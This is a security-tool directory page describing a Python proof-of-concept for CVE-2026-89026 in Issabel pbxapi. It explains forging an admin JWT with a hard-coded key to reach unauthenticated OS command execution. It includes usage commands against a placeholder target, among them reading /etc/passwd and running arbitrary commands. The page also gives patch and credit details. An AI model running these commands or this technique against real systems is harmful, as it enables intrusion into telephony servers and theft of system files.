Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/cflowsec/cve-2026-89026
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlAuthenticationRemote Access ToolPayload Development
GitHubcflowsec/cve-2026-89026

CVE-2026-89026

Python PoC that forges a hard-coded HS256 JWT to exploit CVE-2026-89026 in Issabel pbxapi, enabling unauthenticated remote OS command execution via the originate endpoint.

8h 21m agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-89026

Issabel pbxapi hard coded JWT RCE POC

Issabel Framework pbxapi — unauthenticated JWT forge (hard-coded HS256 key) then GET /pbxapi/manager/originate with Application=System to run OS commands as the Asterisk user. Patched in commit b97dbaf (key loaded from /etc/issabel.conf). Shadowserver saw exploitation from 2026-09-09.

For authorized testing only. Do not run this against systems you do not own or have permission to test.

Requires: Python 3, standard library only.

root@kitploit:~
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --test --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --read /etc/passwd --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --cmd id --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u TARGET --test
FlagWhat it does
-u / --urlIssabel base URL (required). http:// or https://. A hostname with no scheme is tried as HTTPS first, then HTTP. http→https redirects keep POST. Bad TLS certs are retried without verify; --insecure skips verify from the start (Issabel often uses a self-signed cert)
--testFingerprint /pbxapi and prove a forged admin JWT is accepted. No originate / no command
--read PATHRun cp PATH into the web root via System, then GET the file (this is how you see /etc/passwd)
--cmd CMDGET /pbxapi/manager/originate?application=System&data=CMD. AMI does not return stdout — use --read to view a file
--channelOriginate Channel (default Local/s@default)
--insecureSkip TLS verify
--timeoutHTTP timeout seconds (default 30)

--test endpoints: GET /pbxapi/ without Authorization (expect 403), then the same URL with Authorization: Bearer <forged JWT>. A 200 JSON listing controllers / manager (or AMI connect JSON after auth) is VULNERABLE. It does not call originate.

Auth: there is none for the attacker. The API thinks it has Bearer JWT auth. Pre-patch pbxapi/index.php sets JWT_KEY to a string compiled into every install. The PoC HS256-signs {iat, exp, data.name=admin} with that key. Post-patch the key is base64_decode(pbxapijwtsecret) from /etc/issabel.conf and the stock token is rejected (NOT_VULNERABLE).

Stdout: PBXAPI, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, HANDLER, HTTP.

Working PoC

CVE: CVE-2026-89026. Credit: Shadowserver Foundation / VulnCheck. Patch: b97dbaf.

Download Tool